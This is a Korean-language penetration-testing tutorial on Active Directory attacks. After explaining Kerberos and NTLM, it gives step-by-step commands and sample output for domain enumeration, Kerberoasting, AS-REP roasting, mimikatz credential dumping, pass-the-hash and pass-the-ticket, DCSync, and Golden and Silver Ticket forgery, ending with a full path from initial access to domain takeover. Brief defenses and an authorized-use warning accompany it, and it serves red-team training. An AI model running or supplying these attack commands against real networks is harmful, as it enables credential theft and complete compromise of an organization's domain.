기본 원리: Active Directory와 Kerberos
Active Directory란
Active Directory(AD)는 Microsoft의 디렉터리 서비스로, Windows 기업 환경에서 중앙 인증·권한 관리를 담당한다. 수천 대의 컴퓨터와 사용자 계정을 하나의 도메인(Domain) 으로 묶어 관리한다.
도메인: company.local
├── 도메인 컨트롤러(DC): 도메인 인증을 처리하는 서버
│ LDAP, DNS, Kerberos KDC 역할 수행
├── 사용자 계정: john@company.local
├── 컴퓨터 계정: WORKSTATION01$, SERVER02$
├── 보안 그룹: Domain Admins, IT-Team
└── 서비스 계정: svc_sql, svc_iis (서비스 실행용)
도메인 컨트롤러(DC)를 장악하면 도메인 전체 계정의 해시를 덤프할 수 있고, 임의 계정으로 인증이 가능해진다. 그래서 AD 침투 테스트의 **최종 목표는 DC 장악(= Domain Admin 권한)**이다.
Kerberos 인증 프로토콜 심층 분석
Kerberos는 AD의 기본 인증 프로토콜이다. 비밀번호를 네트워크로 전송하지 않고 암호화된 티켓 기반으로 인증한다.
구성 요소:
KDC (Key Distribution Center) = 도메인 컨트롤러
├── AS (Authentication Service): 사용자 초기 인증, TGT 발급
└── TGS (Ticket Granting Service): 서비스 티켓 발급
TGT (Ticket Granting Ticket): "나는 인증된 사용자다" 증명서
TGS (Ticket Granting Service ticket): 특정 서비스 접근권
SPN (Service Principal Name): 서비스 식별자 (예: MSSQLSvc/db01.company.local:1433)
Kerberos 전체 인증 흐름 (6단계):
1. AS-REQ: 사용자 → KDC
"john입니다, TGT 주세요"
내용: 사용자명 + 타임스탬프 (사용자 NTLM해시로 암호화)
2. AS-REP: KDC → 사용자
"TGT 드립니다"
TGT = {사용자명, 만료시간, 세션키} — krbtgt 계정 해시로 암호화
(사용자는 TGT 내부를 복호화할 수 없음)
3. TGS-REQ: 사용자 → KDC
"DB 서버에 접근하고 싶어요, TGT 보여드릴게요"
내용: TGT + 원하는 서비스 SPN
4. TGS-REP: KDC → 사용자
"DB 서비스 티켓 드립니다"
티켓 = {사용자명, 권한, 세션키} — 서비스 계정 NTLM해시로 암호화
(사용자는 이 티켓 내부도 복호화할 수 없음)
5. AP-REQ: 사용자 → DB 서버
"DB 서버야, 이 티켓으로 접근하겠습니다"
6. AP-REP: DB 서버 → 사용자
"티켓 확인 완료, 접근 허용"
(DB 서버는 자신의 키로 티켓을 복호화해 검증)
핵심 포인트: TGT는 krbtgt 계정 해시로 암호화되고, 서비스 티켓은 해당 서비스 계정 해시로 암호화된다. 이 구조가 Kerberoasting과 Golden Ticket 공격의 기반이 된다.
1. 내부망 열거 (Enumeration)
초기 발판(foothold)을 잡은 후 가장 먼저 AD 구조를 파악한다.
# 도메인 기본 정보 확인
net user /domain # 도메인 사용자 목록
net group /domain # 도메인 그룹 목록
net group "Domain Admins" /domain # 도메인 관리자 목록
nltest /domain_trusts # 도메인 신뢰 관계 (다른 도메인으로 피벗 가능)
# 현재 사용자 권한 확인
whoami /all # SID, 그룹, 특권(SeDebugPrivilege 등) 확인
whoami /groups # 소속 그룹 목록
# BloodHound — AD 구조 시각화 도구
# SharpHound.exe로 데이터 수집 후 BloodHound GUI에 업로드
.\SharpHound.exe -c All --zipfilename bloodhound.zip
# BloodHound에서 "Shortest Path to Domain Admins" 쿼리 실행
# → 현재 사용자에서 Domain Admin까지 가장 짧은 경로 자동 탐색
# 중간 노드: 그룹 멤버십, ACL 권한, 컴퓨터 세션 등 분석
# LDAP 프로토콜로 AD 열거 (Python)
# AD는 내부적으로 LDAP 디렉터리 서버이므로 ldap3 라이브러리로 직접 쿼리 가능
import ldap3
server = ldap3.Server('192.168.1.10', get_info=ldap3.ALL)
conn = ldap3.Connection(server, 'DOMAIN\\user', 'password', auto_bind=True)
# 모든 사용자 조회
conn.search(
'DC=company,DC=local',
'(objectClass=user)',
attributes=['sAMAccountName', 'memberOf', 'description', 'userAccountControl']
)
# Kerberoasting 대상: SPN 설정된 계정 조회
# SPN이 있는 계정 = Kerberos 서비스 티켓 요청 대상
conn.search(
'DC=company,DC=local',
'(&(objectClass=user)(servicePrincipalName=*))',
attributes=['sAMAccountName', 'servicePrincipalName']
)
# AS-REP Roasting 대상: 사전인증 비활성화 계정
# userAccountControl 비트 플래그에서 DONT_REQUIRE_PREAUTH(0x400000) 확인
conn.search(
'DC=company,DC=local',
'(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))',
attributes=['sAMAccountName']
)
2. Kerberoasting — 서비스 계정 해시 오프라인 크래킹
원리
Kerberos 인증 흐름 4단계에서 서비스 티켓은 서비스 계정의 NTLM 해시로 암호화된다. 도메인에 속한 일반 사용자라면 누구나 SPN이 설정된 계정의 서비스 티켓을 KDC에 요청할 수 있다. 이 티켓을 받아서 오프라인으로 크래킹하면 서비스 계정의 평문 비밀번호를 얻을 수 있다.
공격 흐름:
공격자(일반 사용자) → KDC: "MSSQLSvc 서비스 티켓 주세요" (TGS-REQ)
KDC → 공격자: {사용자 정보} encrypted with svc_sql's NTLM hash (TGS-REP)
공격자: 티켓을 파일에 저장 → 오프라인 hashcat으로 크래킹
결과: svc_sql 계정의 평문 비밀번호 획득
# PowerView (PowerShell)
Import-Module .\PowerView.ps1
Invoke-Kerberoast -OutputFormat Hashcat | Out-File hashes.txt
# -OutputFormat Hashcat: hashcat이 바로 읽을 수 있는 형식으로 출력
# Rubeus (더 현대적, .NET)
.\Rubeus.exe kerberoast /format:hashcat /output:hashes.txt
.\Rubeus.exe kerberoast /user:svc_sql /format:hashcat # 특정 계정만 타겟
# Impacket (Linux에서 원격으로)
GetUserSPNs.py company.local/user:password \
-dc-ip 192.168.1.10 \
-outputfile hashes.txt
# 출력 형식 (hashcat mode 13100):
# $krb5tgs$23$*svc_sql$company.local$MSSQLSvc/db01.company.local:1433*$...
# 오프라인 크래킹
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt -r rules/best64.rule
방어: 서비스 계정 비밀번호 25자 이상 복잡하게, gMSA(Group Managed Service Account) 사용(자동 120자 비밀번호), 서비스 계정에 최소 권한만 부여
3. AS-REP Roasting — 인증 없이 해시 수집
Kerberos는 기본적으로 사전 인증(Pre-Authentication)을 요구한다. 사용자는 AS-REQ에 타임스탬프를 자신의 NTLM 해시로 암호화해 전송해야 한다. 이는 KDC가 비밀번호 유효 여부를 먼저 확인하는 과정이다.
그런데 "사전 인증 불필요(DoesNotRequirePreAuth)" 설정이 켜진 계정은 인증 없이 TGT를 요청할 수 있다. TGT는 사용자 해시로 암호화된 부분을 포함하므로 크래킹 대상이 된다.
# 사전 인증 비활성화 계정 탐색
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth
# impacket — 도메인 인증 없이 원격에서 실행 가능!
# 사용자 목록만 있으면 계정 비밀번호 없이도 해시 수집
GetNPUsers.py company.local/ \
-usersfile users.txt \
-format hashcat \
-outputfile asrep_hashes.txt
# 크래킹 (hashcat mode 18200)
hashcat -m 18200 asrep_hashes.txt rockyou.txt
4. Pass-the-Hash (PtH)
NTLM 인증 원리
Windows의 NTLM 인증은 Challenge-Response 방식이다. 서버가 랜덤 챌린지를 보내면, 클라이언트가 비밀번호의 NTLM 해시로 챌린지를 암호화해 응답한다. 서버는 같은 연산을 수행해 비교한다.
NTLM 인증 흐름:
클라이언트 → 서버: "AUTHENTICATE 요청"
서버 → 클라이언트: CHALLENGE (8바이트 랜덤값)
클라이언트 → 서버: Response = NTLM_HASH(challenge + 기타)
서버: 동일 계산 후 비교 → 인증 성공
핵심: 서버는 비밀번호 평문이 아닌 NTLM 해시만 알면 된다
→ 해시를 탈취하면 비밀번호 없이도 같은 Response 생성 가능 = Pass-the-Hash
# 1단계: NTLM 해시 덤프
# mimikatz — lsass.exe 메모리에서 해시 추출 (관리자 권한 필요)
mimikatz # sekurlsa::logonpasswords
# 출력: NTLM: aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
# 또는 SAM 데이터베이스 덤프
mimikatz # lsadump::sam # 로컬 계정 해시
# 2단계: PtH로 원격 접근 (impacket)
# :NTLM_HASH 형식 — 앞 LM 해시 부분은 빈값
psexec.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100
# → cmd.exe 셸
smbexec.py -hashes :NTLM_HASH administrator@192.168.1.100
# → SMB 기반 명령 실행 (psexec보다 조용함)
wmiexec.py -hashes :NTLM_HASH administrator@192.168.1.100
# → WMI 기반 명령 실행 (이벤트 로그 최소화)
# CrackMapExec — 내부망 전체 PtH 스프레이
crackmapexec smb 192.168.1.0/24 -u administrator -H NTLM_HASH
# → Pwn3d! 표시된 머신 = PtH 성공 (로컬 관리자 권한)
crackmapexec smb 192.168.1.0/24 -u administrator -H NTLM_HASH --shares
crackmapexec smb 192.168.1.0/24 -u administrator -H NTLM_HASH -x "whoami"
방어: Credential Guard 활성화 (lsass 메모리 보호), Protected Users 그룹 사용, LAPS(Local Administrator Password Solution)로 머신마다 다른 로컬 관리자 비밀번호 사용
5. Pass-the-Ticket (PtT)
NTLM 해시 대신 Kerberos 티켓 자체를 탈취해 재사용한다. TGT를 탈취하면 임의 서비스 티켓을 요청할 수 있다.
# 현재 로그온 세션의 티켓 덤프 (mimikatz)
mimikatz # sekurlsa::tickets /export
# .kirbi 파일로 저장됨 (각 서비스 티켓)
# Rubeus로 Base64 덤프
.\Rubeus.exe dump /nowrap # 현재 세션 모든 티켓 Base64 출력
# 다른 세션 또는 다른 프로세스에 티켓 주입
mimikatz # kerberos::ptt administrator.kirbi
# Rubeus 주입
.\Rubeus.exe ptt /ticket:BASE64_ENCODED_TICKET
# 주입 후 확인
klist # 현재 세션의 Kerberos 티켓 목록
6. DCSync — DC 동기화 프로토콜 악용
원리
Active Directory는 여러 DC 간에 MS-DRSR(Directory Replication Service Remote Protocol) 로 데이터를 동기화한다. 이 프로토콜로 한 DC가 다른 DC에게 "계정 데이터 보내줘"를 요청하면 NTLM 해시가 포함된 데이터가 전송된다.
DCSync는 이 프로토콜을 흉내내어 KDC에 직접 계정 해시를 요청한다. DC에 직접 로그인하지 않아도 되며, 원격에서 모든 계정의 해시를 덤프할 수 있다.
필요 권한: DS-Replication-Get-Changes + DS-Replication-Get-Changes-All (기본: Domain Admins, Enterprise Admins, DC 계정이 보유)
# impacket (Linux에서 원격)
secretsdump.py company.local/administrator:password@192.168.1.10
# PtH로 DCSync
secretsdump.py -hashes :NTLM_HASH company.local/administrator@192.168.1.10
# krbtgt 해시만 덤프 (Golden Ticket 재료)
secretsdump.py company.local/administrator:password@192.168.1.10 -just-dc-user krbtgt
# 출력 형식:
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:36c97a54aaec1cbc6cb52eeddc5c0e47:::
# ^^^ ^^^ ^^^(LM hash, 거의 항상 빈값) ^^^(NTLM hash - 중요)
# mimikatz DCSync
mimikatz # lsadump::dcsync /user:krbtgt
mimikatz # lsadump::dcsync /user:administrator
mimikatz # lsadump::dcsync /all /csv # 도메인 전체 해시 덤프
7. Golden Ticket — 도메인 영구 장악
원리
krbtgt는 KDC가 TGT를 서명하는 특수 계정이다. krbtgt 해시를 알면 TGT를 직접 위조할 수 있다. 위조된 TGT = Golden Ticket.
정상 TGT 발급:
KDC: TGT = encrypt(사용자정보 + 만료시간 + 세션키, krbtgt_NTLM_hash)
Golden Ticket 위조:
공격자: forged_TGT = encrypt(임의사용자 + 먼 미래 + 세션키, krbtgt_NTLM_hash)
→ KDC가 자신이 발급한 것으로 착각
결과:
- 존재하지 않는 사용자로 도메인 인증 가능
- 만료 기간 수십년으로 설정 가능
- 모든 서비스에 Domain Admin 권한으로 접근
# 1단계: krbtgt NTLM 해시 획득 (DCSync 필요)
mimikatz # lsadump::dcsync /user:krbtgt
# NTLM: 36c97a54aaec1cbc6cb52eeddc5c0e47
# 2단계: 도메인 SID 확인
whoami /user
# 출력: S-1-5-21-1234567890-1234567890-1234567890-1103
# 마지막 숫자(-1103)를 제외한 부분이 도메인 SID
# 3단계: Golden Ticket 생성 및 현재 세션에 주입
mimikatz # kerberos::golden \
/user:fake_admin \ # 임의 사용자명 (없어도 됨)
/domain:company.local \
/sid:S-1-5-21-1234567890-1234567890-1234567890 \
/krbtgt:36c97a54aaec1cbc6cb52eeddc5c0e47 \
/groups:512 \ # 512 = Domain Admins RID
/ptt # 현재 세션에 바로 주입
# 확인
klist # Golden Ticket 주입 확인
dir \\dc01\c$ # DC 파일 시스템 접근 테스트
# Impacket으로 Golden Ticket 생성 (Linux)
ticketer.py \
-nthash 36c97a54aaec1cbc6cb52eeddc5c0e47 \
-domain-sid S-1-5-21-1234567890-1234567890-1234567890 \
-domain company.local \
fake_admin
# → fake_admin.ccache 파일 생성
export KRB5CCNAME=fake_admin.ccache
psexec.py -k -no-pass company.local/fake_admin@dc01.company.local
방어: krbtgt 계정 비밀번호를 2회 연속 변경 (한 번 변경으로는 이전 키로 서명된 티켓이 여전히 유효할 수 있으므로). 이상한 티켓 속성 모니터링(만료 기간이 비정상적으로 긴 TGT).
8. Silver Ticket
krbtgt 해시 대신 특정 서비스 계정 해시로 서비스 티켓을 직접 위조한다. KDC에 요청하지 않으므로 도메인 컨트롤러 로그에 흔적이 남지 않는다. 범위는 해당 서비스로 제한되지만 탐지가 더 어렵다.
# CIFS(파일 공유) Silver Ticket — 특정 서버 파일 시스템 접근
mimikatz # kerberos::golden \
/user:administrator \
/domain:company.local \
/sid:S-1-5-21-XXX-XXX-XXX \
/target:fileserver.company.local \
/service:cifs \
/rc4:SERVICE_ACCOUNT_NTLM_HASH \
/ptt
# MSSQLSvc Silver Ticket — DB 서버 접근
mimikatz # kerberos::golden \
/user:sa \
/domain:company.local \
/sid:S-1-5-21-XXX-XXX-XXX \
/target:db01.company.local \
/service:MSSQLSvc \
/rc4:SVC_SQL_NTLM_HASH \
/ptt
9. 전체 공격 흐름 요약
Step 1: 초기 접근 (피싱 이메일, 공개 서비스 취약점 등)
→ 도메인 내 일반 사용자 계정 획득
Step 2: 내부망 열거
BloodHound로 AD 구조 파악
LDAP으로 SPN 설정 계정, 특수 권한 계정 탐색
Step 3: 자격증명 수집
Kerberoasting → 서비스 계정 비밀번호 크래킹
AS-REP Roasting → 사전인증 비활성 계정 해시
Step 4: 측방 이동 (Lateral Movement)
탈취한 자격증명으로 PtH / PtT
관리자 권한 있는 다른 서버로 이동
도메인 관리자 세션이 있는 서버 탐색
Step 5: 권한 상승
도메인 관리자 세션이 열린 서버에서 티켓 탈취
또는 취약한 ACL/위임 설정으로 Domain Admin 권한 획득
Step 6: DC 장악
DCSync → krbtgt 해시 + 전체 계정 해시 덤프
Golden Ticket → 영구 지속 (Persistence)
주요 도구
| 도구 | 용도 | 플랫폼 |
|---|---|---|
| mimikatz | 자격증명 덤프, 티켓 생성/주입, DCSync | Windows |
| Impacket | 원격 AD 공격 스위트 (PtH, DCSync, Kerberoasting) | Python (Linux) |
| BloodHound | AD 구조 시각화, 공격 경로 자동 탐색 | GUI |
| SharpHound | BloodHound 데이터 수집기 | C# (Windows) |
| Rubeus | Kerberos 티켓 조작 (Kerberoasting, PtT, AS-REP) | C# (Windows) |
| CrackMapExec (CME) | 내부망 스프레이, 열거, 명령 실행 | Python |
| PowerView | AD 열거 (PowerShell) | PowerShell |
⚠️ 모든 기법은 서면 동의된 침투 테스트 환경에서만 사용해야 한다.